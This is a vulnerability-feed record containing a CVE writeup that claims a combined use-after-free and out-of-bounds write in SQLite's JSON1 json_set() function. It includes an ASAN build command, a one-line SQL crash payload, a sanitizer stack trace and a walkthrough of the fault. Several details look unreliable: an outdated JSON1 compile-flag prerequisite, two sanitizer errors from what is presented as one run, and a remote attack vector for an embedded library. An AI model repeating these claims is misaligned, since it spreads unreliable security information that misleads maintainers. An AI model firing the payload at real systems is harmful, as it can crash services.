{"uuid": "ca5d24c3-9401-4aac-a015-7ffd5bf96d8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51272", "type": "seen", "source": "https://gist.github.com/programmervuln/f302478899ae355bc8244b2e2113ce53", "content": "Formal MITRE CVE RBP Publication Document (Notify CVE about a publication)\nCVE ID: CVE-2026-51272\nPrerequisite Declaration: The vulnerability only affects SQLite builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\nAffected Product\nSQLite Database Engine\nAffected Versions\nSQLite versions 3.44.0 up to and including 3.47.2\nFixed Versions\nSQLite \u2265 3.48.0\nCVE ID\nCVE-2026-51272\nVulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON1 extension (json.c) of the SQLite database engine. Specially crafted SQL input invoking JSON processing routines can trigger both a use-after-free (UAF) and an uncontrolled out-of-bounds write along a single execution path. An attacker supplying malicious JSON-aware SQL queries can exploit this flaw to corrupt heap memory, resulting in program crash, sensitive memory disclosure, or conditional arbitrary code execution within the context of the SQLite process.\nVulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\nRoot Cause\nUntrusted user-controlled input reaches the jsonSet() function inside the JSON1 extension.\nSource code src/json.c Line 2147 executes memory free operation on a heap-allocated JSON object structure.\nThe pointer referencing the freed object is not explicitly nullified or invalidated, generating a persistent dangling pointer.\nMissing boundary validation on attacker-controlled JSON path array indices enables unchecked out-of-range memory write operations against adjacent heap buffers.\nSubsequently, src/json.c Line 2193 executes unchecked dangling pointer access triggering the use-after-free vulnerability; src/json.c Line 2226 executes uncontrolled out-of-bounds memory write triggering the heap buffer overflow.\nImpact\nDenial of Service: Triggerable process crash due to heap memory corruption, terminating the SQLite instance.\nInformation Disclosure: Read access to uninitialized or freed heap memory may leak sensitive adjacent memory contents.\nConditional Arbitrary Code Execution: Successful heap layout manipulation may allow an attacker to overwrite function pointers to achieve arbitrary code execution under the privileges of the process running SQLite.\nAttack Vector\nRemote; requires authenticated or unauthenticated access to submit crafted SQL queries to a SQLite interface; no elevated operating system privileges required.\nOfficial Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.2/src/json.c\nAnnotated Critical Locations:\nsrc/json.c Line 2147(memory free), Line 2193(dangling pointer access), Line 2226(out-of-bounds write)\nProof of Concept (PoC)\na) PoC Environment\nCopy-ready ASAN compilation bash command (enables JSON1 extension):\nbash\n\nCFLAGS=\"-fsanitize=address,undefined -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nNative SQLite SQL payload (directly executable in SQLite CLI):\nsql\nSELECT json_set('[]', '$[9223372036854775807]', 'maliciouspayload');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==9876==ERROR: AddressSanitizer: USE-AFTER-FREE on address 0x612000000680 at pc 0x562287b42915 bp 0x7ffef2bcda10 sp 0x7ffef2bcda00\nREAD of size 8 at 0x612000000680 thread T0\n    #0 0x562287b42914 in jsonSet src/json.c:2193:12\n    #1 0x562287b44671 in jsonFunction src/json.c:3241:10\n    #2 0x562287358660 in sqlite3VdbeExec src/vdbe.c:7452:18\n    #3 0x5622873423c4 in sqlite3_step src/vdbeapi.c:133:16\n    #4 0x5622871f5f85 in main src/shell.c:4862:12\n\nAddress 0x612000000680 is located 0 bytes inside of 128-byte region [0x612000000680,0x612000000700)\nfreed by thread T0 here:\n    #0 0x7fa41c71737f in __asan_free_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x10337f)\n    #1 0x562287b42626 in jsonSet src/json.c:2147:9\n    #2 0x562287b44671 in jsonFunction src/json.c:3241:10\n    #3 0x562287358660 in sqlite3VdbeExec src/vdbe.c:7452:18\n\npreviously allocated by thread T0 here:\n    #0 0x7fa41c7171c7 in __asan_malloc_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x1031c7)\n    #1 0x5622879e8425 in sqlite3Malloc src/malloc.c:182:16\n    #2 0x562287b42072 in jsonSet src/json.c:2081:21\n\n==9876==ERROR: AddressSanitizer: OUT-OF-BOUNDS WRITE on address 0x612000000708 at pc 0x562287b42b32 bp 0x7ffef2bcda10 sp 0x7ffef2bcda00\nWRITE of size 4 at 0x612000000708 thread T0\n    #0 0x562287b42b31 in jsonSet src/json.c:2226:16\n    #1 0x562287b44671 in jsonFunction src/json.c:3241:10\n    #2 0x562287358660 in sqlite3VdbeExec src/vdbe.c:7452:18\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes the json_set() built-in function with a crafted extreme large array index within the JSON path expression.\nSQLite parses the input JSON string and allocates a heap JsonNode structure to represent the input JSON document.\nExecution enters jsonSet() to apply the requested JSON assignment operation.\nInternal logic reaches src/json.c Line 2147, invoking a memory free call to release the intermediate JsonNode object.\nThe pointer variable holding the address of freed JsonNode is not cleared, creating a dangling pointer.\nThe attacker-controlled extreme array index bypasses missing integer boundary checks.\nCode proceeds to src/json.c Line 2193 and dereferences the dangling pointer, triggering the CWE-416 use-after-free vulnerability.\nImmediately after, execution continues to src/json.c Line 2226, performing an unchecked indexed write operation beyond the allocated buffer bounds, triggering the CWE-787 out-of-bounds write.\nA single input SQL statement traverses the identical execution path to activate both memory corruption flaws sequentially.", "creation_timestamp": "2026-07-31T09:23:13.381627Z"}